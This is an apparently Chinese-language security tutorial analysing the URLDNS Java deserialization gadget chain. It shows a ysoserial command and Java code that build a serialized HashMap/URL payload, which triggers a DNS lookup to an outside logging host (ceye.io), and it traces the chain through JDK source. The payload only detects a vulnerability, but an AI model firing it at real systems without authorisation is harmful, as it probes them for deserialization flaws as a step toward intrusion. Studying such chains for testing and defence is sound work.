URLDNS利用链

在一些漏洞没有回显的时候可以采用DNSLog来验证漏洞是否存在,下面将分析该利用链接

生成payload

使用ysoserial生成序列化后的payload

1
java -jar ysoserial.jar  URLDNS "http://xxxx.ceye.io"

编写代码生成payload

  1. 创建URL对象
  2. put到hashmap中
  3. 反射修改URL对象的hashCode为-1

代码如下:

1
2
3
4
5
6
7
HashMap hashMap =  new HashMap();
String url = "http://xxx.ceye.io"
URL u = new URL(url);
hashMap.put(u,url);
Field hashCodeField = u.getClass().getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(u, -1);

利用链分析

Gadget Chain:

1
2
3
4
5
6
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode().getHostAddress
URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName

序列化时,hashmap重写readObject方法,该方法最终会调用

1
2
putVal(hash(key), key, value, false, false);

进入hash方法

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

根据hashCode计算key的hash,因为key为URL对象,所以调用URL.hashCode(),代码如下:

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

因为URL的hashCode已经通过反射设置为-1,代码会走 handler.hashCode,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected int hashCode(URL u) {
int h = 0;

// 获取协议
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

//获取主机ip地址,此处会通过host获取IP地址,触发dns请求
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}


........

return h;
}

总结

因为hashmap重写readObject方法,readObject又调用了putVal导致了URLDNS利用链。URLDNS本身不依赖第三方包且调用简单,仅能做漏洞探测,不能做到漏洞利用。